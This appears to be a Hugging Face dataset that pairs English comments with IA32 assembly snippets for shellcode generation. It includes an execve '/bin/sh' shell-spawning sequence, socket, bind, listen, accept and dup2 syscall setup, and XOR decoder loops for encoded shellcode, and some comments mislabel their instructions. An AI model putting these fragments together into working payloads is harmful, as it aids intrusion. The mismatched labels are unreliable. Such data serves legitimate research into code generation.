OSS-forge/Extended_Shellcode_IA32 huggingface dataset:
; move 0x6 into al
mov al, 0x6
; close the stream file
mov al, 0x6
int 0x80
; move the command socketcall in al register
mov al, 0x66
; move the socketcall in al register
mov al, 0x66
; put the syscall socketcall in al register
mov al, 0x66
; move the command socketcall = 102 in al register
mov al, 0x66
; load __nr_socketcall into al register
mov al, 0x66
; load syscall sys_socket into al register
mov al, 0x66
; load __nr_socketcall syscall into al register
mov al, 0x66
; move socket call number to al register
mov al, 0x66
; load setsid syscall into al register
mov al, 0x66
; load socketcall sycall into al register
mov al, 0x66
; make the socketcall
mov al, 0x66
; make the systemcall socketcall
mov al, 0x66
; move 0x66 into al
mov al, 0x66
; syscall 102
mov al, 0x66
; system call socketcall
mov al, 0x66
; execute setsid
mov al, 0x66
int 80h
; move 0x7 into al
mov al, 0x7
; put the syscall 0x8 into the al register
mov al, 0x8
; move 0xa2 into al
mov al, 0xa2
; mov 11 into lower byte of eax
mov al, 0xb
; put syscall execve code in al register
mov al, 0xb
; load execve in eax
mov al, 0xb
; set syscall execve
mov al, 0xb
; load __nr_execve syscall number into al register
mov al, 0xb
; load __nr_execve syscall into al regisetr
mov al, 0xb
; load __nr_execve syscall into al register
mov al, 0xb
; load __nr_execve into al register
mov al, 0xb
; load the syscall 11 into al register
mov al, 0xb
; load execve syscall nimber into al register
mov al, 0xb
; execve system call number 11
mov al, 0xb
; mov 0xb into lower byte of eax
mov al, 0xb
; move 0xb into al
mov al, 0xb
; load __nr_execve into al register and ping kernel
mov al, 0xb
int 0x80
; load execve syscall number into al register and ping kernel
mov al, 0xb
int 0x80
; execute the file
mov al, 0xb
int 0x80
; execute sys_execve(11)
mov al, 0xb
int 0x80
; execute __nr_execve syscall
mov al, 0xb
int 0x80
; execute execve syscall
mov al, 0xb
int 0x80
; move 0xb5 into al
mov al, 0xb5
; move 0xcd into al
mov al, 0xcd
; load int 0x80 into eax register
mov al, 0xcd
mov ah, 0x80
; move the function chmod in al register
mov al, 0xf
; load chmod syscall number into al register
mov al, 0xf
; move 0xf into al
mov al, 0xf
; copy 1 in al
mov al, 1
; move syscalll exit in a reegister
mov al, 1
; move the number of the syscall exit in al register
mov al, 1
; move the value 1 into the al register
mov al, 1
; move 1 into al
mov al, 1
; transfer the value 10 to the al register
mov al, 10
; load the system call socketcall in al register
mov al, 102
; load syscall for socketcall() 102 into al register
mov al, 102
; make syscall for socketcall()
mov al, 102
; load socketcall syscall number into al register
mov al, 102
; load socketcall syscall into al register
mov al, 102
; move 102 into al
mov al, 102
; execyte socketcall syscall
mov al, 102
int 80h
; insert execve code in al register
mov al, 11
; put syscall execve code in al register
mov al, 11
; load the execve syscall number into al register
mov al, 11
; load syscall execve number into al register
mov al, 11
; load the value 11 into al register
mov al, 11
; make execve() syscall or 11
mov al, 11
; save into al register execve system call
mov al, 11
; put the syscall 11 into the al register
mov al, 11
; move the value 11 into the al register
mov al, 11
; call the execve syscall
mov al, 11
int 0x80
; execute __nr_execve syscall
mov al, 11
int 0x80
; execyte __nr_execve syscall
mov al, 11
int 0x80
; execute execv syscall
mov al, 11
int 0x80
; execute execve syscall
mov al, 11
int 0x80
; execute shell using execve syscall
mov al, 11
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx,esp
push edx
push ebx
mov ecx,esp
int 0x80
; move 12 into al
mov al, 12
; move 15 into lower byte of the eax register
mov al, 15
; move 16 into al
mov al, 16
; move 2 into al
mov al, 2
; execute fork syscall
mov al, 2
int 80h
; move 20 into al
mov al, 20
; move 23 into al
mov al, 23
; move 37 into al
mov al, 37
; move 39 into al
mov al, 39
; move the number of the syscall write in al register
mov al, 4
; store 4 into al
mov al, 4
; move 4 into al
mov al, 4
; load the code of syscall open in al register
mov al, 5
; move 5 into al
mov al, 5
; move the value 5 into the al register then decrement the contents of the al register and jump to the l2 label if the result is not zero
mov al, 5
dec al
jnz l2
; move 54 into al
mov al, 54
; move the number of the syscall close in al register
mov al, 6
; move 6 into al
mov al, 6
; execute close sycall
mov al, 6
int 80h
; move 61 into al
mov al, 61
; load syscall for dup2()
mov al, 63
; load into al register the syscall for dup2
mov al, 63
; move the dup2 syscall into al register
mov al, 63
; load dup2 syscall into al register
mov al, 63
; save 63 into al
mov al, 63
; move the code of syscall dup2 in al register and execute
mov al, 63
int 0x80
; move 66h into al
mov al, 66h
; move 70 into al
mov al, 70
; move 72h into al
mov al, 72h
; move 99 into al
mov al, 99
; move data at memory location a_letter into al
mov al, a_letter
; move the effective address of digits+eax into al
mov al, byte [digits+eax]
; move the byte in edi into the al register
mov al, byte [edi]
; move the effective address edx+ecx into al
mov al, byte [edx+ecx]
; sabe shellcode lenght into al register
mov al, byte [esi]
; move the byte at the address [esi] into al
mov al, byte [esi]
; move the byte in esi into the al register
mov al, byte [esi]
; move the byte in esi into al
mov al, byte [esi]
; load the byte pointed by esi in al
mov al, byte [esi]
; move the byte at the memory location specified by the operation [esi+1+ebp] into al
mov al, byte [esi+1+ebp]
; put the byte at the address esi+1+ebp into al
mov al, byte [esi+1+ebp]
; move a byte from the address esi+ecx into al
mov al, byte [esi+ecx]
; move the byte 0bh into al
mov al, byte 0bh
; move the byte at the address 0bh into al
mov al, byte 0bh
; move the byte at the address 0x1 into al
mov al, byte 0x1
; move the byte 2ah into al
mov al, byte 2ah
; move the byte at the address 2ah into al
mov al, byte 2ah
; move the byte 2h into al
mov al, byte 2h
; move the byte at the address 2h into al
mov al, byte 2h
; move the byte 3fh into al
mov al, byte 3fh
; move the byte at the address 3fh into al
mov al, byte 3fh
; move the byte 3h into al
mov al, byte 3h
; move the byte at the address 3h into al
mov al, byte 3h
; move the byte 66h into al
mov al, byte 66h
; move the byte at the address 66h into al
mov al, byte 66h
; move the byte 6h into al
mov al, byte 6h
; move the byte at the address 6h into al
mov al, byte 6h
; move a byte from the address buff+ecx into al
mov al, byte[buff+ecx]
; move cl into al
mov al, cl
; backup cl into al
mov al, cl
; move close_syscall into al
mov al, close_syscall
; move dl into al
mov al, dl
; move dl to al
mov al, dl
; copy the contents of dl into al
mov al, dl
; load exit in al register
mov al, exit_call
; move exit_call into al
mov al, exit_call
; move write_syscall into al
mov al, write_syscall
; move 1 into lower byte of each
mov al,0x01
; load the sys call to write the file
mov al,0x04
; copy execve syscall number into al register
mov al,0x0b
; put 1 in al register
mov al,0x1
; load exit in al register
mov al,0x1
; copy hexadecimal value 0x1 into al register
mov al,0x1
; copy the code of the syscall exit into al reegister
mov al,0x1
; put syscall execve code in al register
mov al,0x1
add al,0xa
; copy the code of the syscall read into al register
mov al,0x3
; load the code 0x33 of the syscall acct in al register
mov al,0x33
; load __nr_dup2 into al register
mov al,0x3f
; load syscall duo2 into al register
mov al,0x3f
; put 4 in al regsiter
mov al,0x4
; copy the code of the syscall write into al register
mov al,0x4
; move the value 0x4 into al register
mov al,0x4
; load __nr_write into al register
mov al,0x4
; copy the code of syscall open to al register
mov al,0x5
; copy the value 5 into al register
mov al,0x5
; move syscall close in al register
mov al,0x6
; copy close syscall number into al register
mov al,0x6
; load __nr_close into al register
mov al,0x6
; move the command socketcall in al register
mov al,0x66
; copy socketcall syscall number into al register
mov al,0x66
; load __nr_socketcall into al register
mov al,0x66
; load __nr_creat syscall into al register
mov al,0x8
; reate the file with 77 permission in octal
mov al,0x8
mov cl,077o
; execute nanosleep
mov al,0xa2
int 0x80
; execute nanosleep syscall
mov al,0xa2
int 80h
; load execve in al register
mov al,0xb
; put syscall execve code in al register
mov al,0xb
; load execve syscall number into al register
mov al,0xb
; set syscall execve
mov al,0xb
; load __nr_execve syscall into al regisetr
mov al,0xb
; load execve syscall number into al regsiter
mov al,0xb
; load __nr_execve on stack
mov al,0xb
; load __nr_execve syscall into al register
mov al,0xb
; execute execve syscall
mov al,0xb
int 0x80
; load __nr_chmod into al register
mov al,0xf
; load chmod syscall into al register
mov al,0xf
; execute execve syscall
mov al,1
int 80h
; load __nr_socketcall syscall into al register
mov al,102
; load execve syscall into al register
mov al,11
; execute __nr_execve syscall
mov al,11
int 0x80
; execute execves yscall
mov al,11
int 0x80
; execute execve syscall
mov al,11
int 0x80
; load __nr_fork into al regsiter
mov al,2
; load dup2 syscall into al register
mov al,63
; load dup2 syscall into al register and call kernel
mov al,63
int 80h
; coy the byte 1 into al register
mov al,byte 0x1
; access memory at the adress edi and copy the byte into al register
mov al,byte ptr [edi]
; move the value close_syscall to al register
mov al,close_syscall
; move the value write_syscall to al register
mov al,write_syscall
; load the object at the address 1000h into the ax register
mov ax, [1000h]
; copy thevalue at memory address specified by di into ax
mov ax, [di]
; move current word from encoded_shellcode to ax
mov ax, [esi]
; move the contents at the address pointed by esi into the ax register
mov ax, [esi]
; move the contents at the address stored in esi into the ax register
mov ax, [esi]
; store the contents at the address pointed by esi into the ax register
mov ax, [esi]
; copy my_var contents in ax
mov ax, [my_var]
; initialize ax to 00
mov ax, 00
; move value of 0x010ch into the register ax
mov ax, 010ch
; insert in ax register the syscall _nr_socket /socket syscall number
mov ax, 0x167
; load _nr_socket into ax regsiter
mov ax, 0x167
; move 0x167 into ax
mov ax, 0x167
; move bind syscall number in ax register
mov ax, 0x169
; move 0x169 into ax
mov ax, 0x169
; insert in ax register the value 0x16a/connect syscall number
mov ax, 0x16a
; insert in ax register the connect syscall number
mov ax, 0x16a
; move 0x16a into ax
mov ax, 0x16a
; load listen syscall numebr into ax register
mov ax, 0x16b
; move 0x16b into ax
mov ax, 0x16b
; load accept syscall number into ax register
mov ax, 0x16c
; move 0x16c into ax
mov ax, 0x16c
; move value of 1 into register ax
mov ax, 1
; moves syscall for socketcall into ax
mov ax, 102
; move 102 into ax
mov ax, 102
; move 1666 into ax
mov ax, 1666
; transfer the immediate constant 45h to ax
mov ax, 45h
; move 8h into ax
mov ax, 8h
; get 9 in the ax
mov ax, 9
; move bx into ax
mov ax, bx
; move the contents of bx into ax
mov ax, bx
; move the memory offset table+esi*4 into ax
mov ax, table[esi*4]
; mov the word at the address edi+1+ecx into ax
mov ax, word [edi + 1 + ecx]
; copy esi content into ax register
mov ax,[esi]
; move 0x12 into bh
mov bh, 0x12
; move 0xe2 into bh
mov bh, 0xe2
; move the contents of bl into bh
mov bh, bl
; save the byte in esi+edx+2 in bh
mov bh, byte [esi + edx + 2]
; copy hexadecimal value from 0xcc to bh register
mov bh,0xcc
; move the current byte of the shellcode to the bl
mov bl, [esi]
; move the contents of memory address esi+ecx into bl
mov bl, [esi+ecx]
; move 0bh into bl
mov bl, 0bh
; move the syscall sys_socket in bl register
mov bl, 0x01
; move 0x01 into bl
mov bl, 0x01
; move the syscall bind in bl register
mov bl, 0x02
; move 0x02 into bl
mov bl, 0x02
; move the syscall sys_connect in bl register
mov bl, 0x03
; move the syscall sys_listen in bl register
mov bl, 0x04
; move 0x04 into bl
mov bl, 0x04
; move the syscall sys_accept in bl register
mov bl, 0x05
; put the 1 in bl register
mov bl, 0x1
; move the syscall sys_socket in bl register
mov bl, 0x1
; load 0x1 ino bl register
mov bl, 0x1
; load hexadecimal vlaue 0x1 into bl register
mov bl, 0x1
; move 1 into bl register
mov bl, 0x1
; save socket =1 into bl register
mov bl, 0x1
; move 0x1 to bl register
mov bl, 0x1
; setting the socketcall type to sys_socket
mov bl, 0x1
; move the value 0x1 into the bl register
mov bl, 0x1
; move 0x1 into bl
mov bl, 0x1
; load 1 into bl register and write syscall number into al register, then call kernel
mov bl, 0x1
mov al, 0x4
int 0x80
; moves the sys_setsocketopt as param 1
mov bl, 0x14
; move 0x14 into bl
mov bl, 0x14
; put 2 in bl register
mov bl, 0x2
; load in bl register the argument sys_bind = 2
mov bl, 0x2
; copy the value sys_bind =2 on stack
mov bl, 0x2
; set bind =2
mov bl, 0x2
; set the socketcall type to sys_bind
mov bl, 0x2
; move 0x2 into bl
mov bl, 0x2
; move the value 0x2 into the bl register
mov bl, 0x2
; copy 3 in bl register
mov bl, 0x3
; push 0x3 into bl register
mov bl, 0x3
; move 0x3 into bl
mov bl, 0x3
; put 4 in bl register
mov bl, 0x4
; move 0x4 hexadecimal value into bl register
mov bl, 0x4
; copy the value of sys_listen=4 into bl register
mov bl, 0x4
; set listen = 4
mov bl, 0x4
; set the socketcall type to sys_listen
mov bl, 0x4
; move the value 0x4 onto the stack
mov bl, 0x4
; move 0x4 into bl
mov bl, 0x4
; put 5 in bl register
mov bl, 0x5
; load the value of sys_accept=5 on stack
mov bl, 0x5
; copy 0x5 into bl register
mov bl, 0x5
; accept =5
mov bl, 0x5
; set the socketcall type to sys_accept
mov bl, 0x5
; move 0x5 into bl
mov bl, 0x5
; move the value 0x5 into the bl register
mov bl, 0x5
; move 0x7 to bl
mov bl, 0x7
; move 0x7 into bl
mov bl, 0x7
; move the exadecimal value 0x8 into bl register
mov bl, 0x8
; move 0x8 into bl
mov bl, 0x8
; transfer the hexadecimal value 0x9 into bl register
mov bl, 0x9
; move 0x9 into bl
mov bl, 0x9
; save the value of sys_setcockopt = 14 into bl register
mov bl, 0xe
; move 0xe into bl
mov bl, 0xe
; store 0xff into bl register
mov bl, 0xff
; move 0xff into bl
mov bl, 0xff
; move the value 0xff into bl
mov bl, 0xff
; load Ôjmp edxÕ command into ebx register
mov bl, 0xff
mov bh, 0xe2
; load socket = 1 into bl register
mov bl, 1
; move 1 into bl
mov bl, 1
; store 10 into bl register
mov bl, 10
; move 10 into bl
mov bl, 10
; save the byte 2 into al register
mov bl, 2
; move 2 into bl
mov bl, 2
; connect
mov bl, 3
; move 3 into bl
mov bl, 3
; move the value 3 into the bl register then decrement the contents of the bl register and jump to the l3 label if the result is not zero
mov bl, 3
dec bl
jnz l3
; mov (4 = sys_listen = listen()) into bl
mov bl, 4
; copy 4 into bl register
mov bl, 4
; load listen = 4 into bl register
mov bl, 4
; move 4 into bl
mov bl, 4
; load 5 into bl register
mov bl, 5
; load accept = 5 into bl register
mov bl, 5
; store 5 into bl
mov bl, 5
; move the contents of the al register into the contents of the bl register then subtract the value 2 from the cl register and jump to the loop label if the result is not zero
mov bl, al
sub bl, 2
jnz loop
; move the byte at address digits+ebx into bl
mov bl, byte [digits+ebx]
; move the byte at the address [eax] into bl
mov bl, byte [eax]
; move the byte in eax to bl
mov bl, byte [eax]
; move the byte in eax into bl
mov bl, byte [eax]
; move the byte at the address edi+ecx into bl
mov bl, byte [edi + ecx]
; move the byte in edi into bl
mov bl, byte [edi]
; move the byte at the address [edi] into bl
mov bl, byte [edi]
; get the byte from edi and save it in bl
mov bl, byte [edi]
; copy the byte in memory at the address [esi + eax + 1] in bl register
mov bl, byte [esi + eax + 1]
; move the byte starting at the address [esi + eax + 1] into the bl register
mov bl, byte [esi + eax + 1]
; move the byte at the address esi + eax +1 into bl
mov bl, byte [esi + eax + 1]
; put the byte in the address esi+eax+1 to the first character pointed by edi.
mov bl, byte [esi + eax + 1]
mov byte [edi], bl
; copy the byte in memory at the address [esi+eax] in bl register
mov bl, byte [esi + eax]
; move the byte at the address esi + eax into bl
mov bl, byte [esi + eax]
; move the byte at the address esi+edi into bl
mov bl, byte [esi + edi]
; save the byte in esi+edx+1 in bl
mov bl, byte [esi + edx + 1]
; move the byte in esi into bl
mov bl, byte [esi]
; move the byte at the address [esi] into bl
mov bl, byte [esi]
; get the byte from esi and save it in bl
mov bl, byte [esi]
; move the byte at the address esi+eax*1 into bl
mov bl, byte [esi+eax*1]
; move the byte at the address esi+eax*1+0x1 into bl and move bl into the byte in edi
mov bl, byte [esi+eax*1+0x1]
mov byte [edi], bl
; copy the byte in memory at the address esi+ecx+1 into bl register
mov bl, byte [esi+ecx+1]
; move the byte at the address [esi+ecx+1] into bl
mov bl, byte [esi+ecx+1]
; move the byte in esi+ecx+1 into bl
mov bl, byte [esi+ecx+1]
; move the byte at the address in [esi+ecx+1] in bl and subtract 0x7 from bl
mov bl, byte [esi+ecx+1]
sub bl, 0x7
; move the byte 0eh into bl
mov bl, byte 0eh
; move the byte at the address 0eh into bl
mov bl, byte 0eh
; copy the byte contained into edi register in bl register
mov bl, byte[edi]
; transfer the byte in the address esi to bl regsiter
mov bl, byte[esi]
; backup the contents of cl into bl
mov bl, cl
; move cl into bl
mov bl, cl
; move dl into bl
mov bl, dl
; copy the value 1 into bl register
mov bl,0x1
; move the value 0x1 content into bl register
mov bl,0x1
; copy 0x2 into bl register
mov bl,0x2
; load 0x3 into bl register
mov bl,0x3
; copy 0x4 into bl register
mov bl,0x4
; load 1 into al register
mov bl,1
; save socket command, 1, into bl register
mov bl,1
; copy the byte at the adress esi+eax*1 into bl register
mov bl,byte ptr [esi+eax*1]
; copy the byte at the adress esi+eax*1+0x1 into the byte at the adress edi
mov bl,byte ptr [esi+eax*1+0x1]
mov byte ptr [edi],bl
; copy the dl content into bl register
mov bl,dl
; copy esi content into bx register
mov bx, [esi]
; move the contents of the address stored in esi into the bx register
mov bx, [esi]
; move the contents of the esi register into the bx register
mov bx, [esi]
; move 1666 into bx
mov bx, 1666
; get 18 in the bx register
mov bx, 18
; move the value 20 into bx
mov bx, 20
; move memory word_value to register bx
mov bx, word_value
; move dl into the byte in eax
mov byte [eax], dl
; move dl to the byte pointed by the contents of eax
mov byte [eax], dl
; move dl into the byte at address [eax]
mov byte [eax], dl
; move al into the byte at address [ebx + 35]
mov byte [ebx + 35], al
; copy al content into memory space at the adress ebx+35
mov byte [ebx + 35],al
; save al content into the space memory at the address ebx+35
mov byte [ebx + 35],al
; move 2 into the single byte at the address stored in ebx
mov byte [ebx], 2
; move 2 into the single byte at memory location ecx
mov byte [ecx], 2
; move dl into the byte at address [ecx+92]
mov byte [ecx+92], dl
; move dl into the single byte at the address stored in ecx+92
mov byte [ecx+92], dl
; replace r char with 0x0a
mov byte [ecx+92],dl
; copy the byte contained in bl register to the memory adress edi
mov byte [edi], bl
; move the the contents of the bl register into the byte starting at the address in edi
mov byte [edi], bl
; put the value of bl to the position of edi
mov byte [edi], bl
; move bl into the byte in edi
mov byte [edi], bl
; move bl into the byte in edi and negate the result
mov byte [edi], bl
not byte [edi]
; move bl into the byte in edi and perform xor operation with 0xdd
mov byte [edi], bl
xor byte [edi], 0xdd
; move bl into the byte at address [edx + eax]
mov byte [edx + eax], bl
; move bl into the byte at the address edx + eax
mov byte [edx + eax], bl
; move bl into the byte in edx + eax
mov byte [edx + eax], bl
; move bl into byte edx+eax
mov byte [edx+eax], bl
; move al into the single byte at the address stored in edx+ecx
mov byte [edx+ecx],al
; move the contents of dl into the byte at the memory location specified by the operation [esi+1]
mov byte [esi + 1], dl
; move dl into the byte in esi+1
mov byte [esi + 1], dl
; move dl into the byte at address [esi + 1]
mov byte [esi + 1], dl
; move bl into the byte defined by the address esi + eax
mov byte [esi + eax], bl
; move al into the byte in esi
mov byte [esi], al
; transfer decode value from bl to esi register
mov byte [esi], bl
; move bl into the byte at address [esi]
mov byte [esi], bl
; move dl into the byte in esi
mov byte [esi], dl
; move al into the byte at address [esi+10]
mov byte [esi+10], al
; move al into the byte at address [esi+11]
mov byte [esi+11], al
; move al into the byte at address [esi+12]
mov byte [esi+12], al
; move al into the byte at address [esi+14]
mov byte [esi+14], al
; move the contents of al into the byte at the memory location specified by the operation [esi+14]
mov byte [esi+14],al
; move al into the byte at address [esi+17]
mov byte [esi+17], al
; move the contents of al into the byte at the memory location specified by the operation [esi+17]
mov byte [esi+17],al
; move al into the byte at address [esi+21]
mov byte [esi+21], al
; terminate string, str[7] = null
mov byte [esi+7], al
; move al into the byte at address [esi+7]
mov byte [esi+7], al
; copy bl content into the byte at the adress esi+ecx
mov byte [esi+ecx], bl
; move bl into the byte at address [esi+ecx]
mov byte [esi+ecx], bl
; move bl into the single byte at the address stored in esi+ecx
mov byte [esi+ecx], bl
; move bl into the byte in esi+ecx
mov byte [esi+ecx], bl
; move cl into the byte in esp+eax+1
mov byte [esp + eax + 1], cl
; move bh into the byte in esp+eax+2
mov byte [esp + eax + 2], bh
; move bl into the byte in esp+eax+3
mov byte [esp + eax + 3], bl
; move ch into the byte in esp+eax
mov byte [esp + eax], ch
; move 0x0a into the byte at address [esp]
mov byte [esp], 0x0a
; move 0x2e into the byte at address [esp]
mov byte [esp], 0x2e
; move 0x2e into the byte in esp
mov byte [esp], 0x2e
; move 0x2f into the byte at address [esp]
mov byte [esp], 0x2f
; move 0x2f into the byte in esp
mov byte [esp], 0x2f
; move 0x7f into the byte at address [esp]
mov byte [esp], 0x7f
; move ip address 127.0.0.1 into esp register
mov byte [esp], 0x7f
mov byte [esp+3],0x01
; move 0x07 into the byte at address [esp+2]
mov byte [esp+2], 0x07
; move 0x01 into the byte at address [esp+3]
mov byte [esp+3], 0x01
; move 0x11 into the byte at address [esp+3]
mov byte [esp+3], 0x11
; move a byte from bl into memory address hexstr+edx+1
mov byte [hexstr+edx+1],bl
; move a byte from al into memory address hexstr+edx+2
mov byte [hexstr+edx+2],al
; store the value 5 into the byte at memory location var
mov byte [var], 5
; load __nr_ execve = 0x0b into al register as a byte
mov byte al, 0x0b
; move 0x0b into the byte at address al
mov byte al, 0x0b
; move 0x3f into the byte at address al
mov byte al, 0x3f
; move 0x3f into the byte in al
mov byte al, 0x3f
; setresuid syscall 164 (0xa4)
mov byte al, 0xa4
; move 0xa4 into the byte at address al
mov byte al, 0xa4
; move 0xa4 into the byte in al
mov byte al, 0xa4
; move 11 into the byte at address al
mov byte al, 11
; move 83 into the byte at address al
mov byte al, 83
; set counter to 7 and save it in cl register
mov byte cl, 7
; move 7 into the byte at address cl
mov byte cl, 7
; copy the byte in bl register to the spae in memory at the address esi+0xb
mov byte ptr [esi+0xb],bl
; copy bl contents in the byte at the address edx+eax
mov byte[edx + eax], bl
; copy the value 0x4 into ecx
mov ch, 0x4
; move 0x4 into ch
mov ch, 0x4
; save the byte in esi+edx+4 in ch
mov ch, byte [esi + edx + 4]
; copy the hexadecimal value 0x4 in ch register
mov ch,0x4
; move hexadecimal value 0x5 to ch register
mov ch,0x5
; move 0102 into cl
mov cl, 0102
; move 077o into cl
mov cl, 077o
; load 1 into cl regisetr
mov cl, 0x1
; set cl to the fd of stdout = 1
mov cl, 0x1
; move 0x1 into cl
mov cl, 0x1
; move 0x1e into cl
mov cl, 0x1e
; move 2 in cl regsiter
mov cl, 0x2
; creat a countre moving the value 2 into cl register
mov cl, 0x2
; push 2 into cl register
mov cl, 0x2
; copy 0x2 into cl register
mov cl, 0x2
; initiate the loop-counter to 2
mov cl, 0x2
; load the value 0x2 into cl register
mov cl, 0x2
; set cl to the stderr fd = 2
mov cl, 0x2
; move 0x2 into cl
mov cl, 0x2
; move the value 0x2 into the cl register
mov cl, 0x2
; copy 3 into cl register
mov cl, 0x3
; move 0x3 into cl
mov cl, 0x3
; move 10 into the first byte of the counter
mov cl, 10
; move the value 10 into the cl register then decrement the contents of the cl register and jump to the l1 label if the result is not zero
mov cl, 10
dec cl
jnz l1
; move 100 into cl
mov cl, 100
; move 128 into cl
mov cl, 128
; load the value 13 on cl register
mov cl, 13
; move 13 to cl
mov cl, 13
; move 13 into cl
mov cl, 13
; copy 2 into cl register
mov cl, 2
; inizialize counter ecx=2
mov cl, 2
; move 2 into cl
mov cl, 2
; copy 21 into cl register
mov cl, 21
; move 21 into cl
mov cl, 21
; transfer the decimal value 25 in cl register
mov cl, 25
; counter to loop 3 times
mov cl, 3
; move 3 into cl
mov cl, 3
; move 30 into cl
mov cl, 30
; move 30 to the cl register
mov cl, 30
; move 32 into cl
mov cl, 32
; transfer 4 into cl
mov cl, 4
; move 4 value into cl register that represents the counter
mov cl, 4
; loop 4 times
mov cl, 4
; move 9 into cl
mov cl, 9
; move al into cl
mov cl, al
; put the contents of the al into the cl register
mov cl, al
; backup al into cl
mov cl, al
; move the contents of the bl register into the contents of the cl register then subtract the value 1 from the cl register and jump to the loop label if the result is not zero
mov cl, bl
sub cl, 1
jnz loop
; move the byte in eax into cl
mov cl, byte [eax]
; move the byte in eax to cl
mov cl, byte [eax]
; move the byte at the address [eax] into cl
mov cl, byte [eax]
; save the byte in esi+edx+3 in cl
mov cl, byte [esi + edx + 3]
; move the byte at the address [esi] into cl
mov cl, byte [esi]
; move the byte in esi into cl
mov cl, byte [esi]
; move the 3rd element of the array byte_table into cl
mov cl, byte_table[2]
; move the 3rd element of the byte_table into cl
mov cl, byte_table+2
; move dl into cl
mov cl, dl
; initialize counter cl to shellcode lenght
mov cl, len
; move len into cl
mov cl, len
; save shellcode_lenght = 25 into cl register
mov cl, shellcode_length
; move shellcode_length into cl
mov cl, shellcode_length
; set the loop counter to shellcodelen into cl register
mov cl, shellcodelen
; move shellcodelen into cl
mov cl, shellcodelen
; copy hexadecimal value 0x19 to cl register
mov cl,0x19
; copy hexadeciaml value 0x19 into cl register
mov cl,0x19
; move the value 2 into cl register
mov cl,0x2
; load hexadecimal value 0x2 into cl register
mov cl,0x2
; move the value 0x3 in cl register
mov cl,0x3
; move bx to count
mov count, bx
; move the contents of the esi register into the cx register
mov cx, [esi]
; initialize cx to 01
mov cx, 01
; move 02001 into cx
mov cx, 02001
; move 0666 into cx
mov cx, 0666
; move 0700 into cx
mov cx, 0700
; move 0x191 into cx
mov cx, 0x191
; store hexadecimal value of Ô777Õ in cx
mov cx, 0x1ff
; load hexadecimal value 0x1ff into cx register
mov cx, 0x1ff
; move 0x1ff into cx
mov cx, 0x1ff
; move 0x2bc into cx
mov cx, 0x2bc
; move the value 0x301 into the cx register
mov cx, 0x301
; mov the value 0x3b30 into the cx register
mov cx, 0x3b30
; move 0x401 into cx
mov cx, 0x401
; move 0x5309 into cx
mov cx, 0x5309
; copy the value 4755 into cx register
mov cx, 0x9ed
; move 0x9ed into cx
mov cx, 0x9ed
; move 0xfff into cx
mov cx, 0xfff
; move 2001 into cx
mov cx, 2001
; set flag o_wronly and o_append
mov cx, 2001q
; move 2001Q into cx
mov cx, 2001Q
; move the 4th element of the word_table into cx
mov cx, word_table + 3
; move the 4th element of the array word_table into cx
mov cx, word_table[3]
; copy esi content into cx register
mov cx,[esi]
; move the hexadecimal value 0x2bc (700) to cx register
mov cx,0x2bc
; load hexadecimal value 0x2bc into cx register
mov cx,0x2bc
; put 769 in cx
mov cx,0x301
; put 15152 into cx regsiter, then push it on the stack
mov cx,0x3b30
push cx
; transfer hexadecimal value 0x401 into cx register
mov cx,0x401
; copy the hexadecimal value 0x35 in dh register
mov dh, 0x35
; move 0x35 into dh
mov dh, 0x35
; move 0xff into dh
mov dh, 0xff
; copy hexadecimal value 0x4a into dh register
mov dh,0x4a
; move the address of esi-1 into dl
mov dl, [esi-1]
; move the previous byte of the shellcode to dl
mov dl, [esi-1]
; move the contents of dl into the next byte of the shellcode
mov dl, [esi+1]
; copy hexadecimal value 0xff in dl register
mov dl, 0ffh
; move 0x01 into dl
mov dl, 0x01
; move 0x02 into dl
mov dl, 0x02
; move 0x09 into dl
mov dl, 0x09
; move 0x1 into dl
mov dl, 0x1
; load 0x10 into dl register
mov dl, 0x10
; copy 0x10 into dl register
mov dl, 0x10
; load 0x10 into cl register
mov dl, 0x10
; move 0x10 into dl
mov dl, 0x10
; move 0x14 into dl
mov dl, 0x14
; move value 0x16 to dl register
mov dl, 0x16
; transfer the hexadecimal value 0x1c (28) into dl register
mov dl, 0x1c
; move 0x1c into dl
mov dl, 0x1c
; move 0x2 into dl
mov dl, 0x2
; move 0x20 into dl
mov dl, 0x20
; move 0x45 to dl
mov dl, 0x45
; move 0x7f into dl
mov dl, 0x7f
; lad ip address 127.0.0.1 (hex) as a byte into edx register then push it onto the stack
mov dl, 0x7f
push edx
; move 0xc into dl
mov dl, 0xc
; set dl equal to 13
mov dl, 0xd
; move 0xd into dl
mov dl, 0xd
; move 0xff into dl
mov dl, 0xff
; move 0xff to dl
mov dl, 0xff
; copy hexadecimal value 1+0xfe in dl register
mov dl, 1+0feh
; move 1+0feh into dl
mov dl, 1+0feh
; move 93 into dl
mov dl, 93
; move the byte at the memory location specified by the operation [eax+1] into dl
mov dl, byte [eax + 1]
; move the byte at address eax+1 to dl
mov dl, byte [eax + 1]
; move the byte at the address [eax + 1] into dl
mov dl, byte [eax + 1]
; move the byte at address eax to dl
mov dl, byte [eax]
; move the byte at the address [eax] into dl
mov dl, byte [eax]
; move the byte in eax into dl
mov dl, byte [eax]
; move the singl byte at the memory location specified by the operation [esi+1] into dl
mov dl, byte [esi + 1]
; move the contents of the address esi+1 into dl
mov dl, byte [esi + 1]
; move the byte at the address [esi + 1] into dl
mov dl, byte [esi + 1]
; move the byte at the address esi+edi+1 into dl
mov dl, byte [esi + edi + 1]
; move the single byte in esi into dl
mov dl, byte [esi]
; put the byte in esi into dl
mov dl, byte [esi]
; move the byte 0ffh into dl
mov dl, byte 0ffh
; move the byte at the address 0ffh into dl
mov dl, byte 0ffh
; put lenght of encodedshellcode to dl
mov dl, len
; move the contents stored at the address len into the dl register
mov dl, len
; move the value $0x09 into dl
mov dl,0x09
; load the value 1 into dl register
mov dl,0x1
; align page address
mov dl,0xff
; save in dl register the len of the buffer to write, 4th arg
mov dl,93
; save at location ds:0x9501bb9b eax content
mov ds:0x9501bb9b,eax
; copy the value in var1 into the doubleword starting at the address in eax
mov dword [eax], var1
; move the 32-bit integer representation of 2 into the doubleword starting at the address in ebx
mov dword [ebx], 2
; move the 32-bit integer representation of 4 into the doubleword starting at address ebx
mov dword [ebx], 4
; replace last double word with null
mov dword [esi + 12], eax
; move eax into the dword at address [esi + 12]
mov dword [esi + 12], eax
; replace first double word with string
mov dword [esi + 8], ebx
; move ebx into the dword at address [esi + 8]
mov dword [esi + 8], ebx
; move the value 0x5f657a69 into the double word starting at the address [esp-0x10]
mov dword [esp-0x10], 0x5f657a69
; move the value 0x6d6f646e into the double word starting at the address [esp-0x14]
mov dword [esp-0x14], 0x6d6f646e
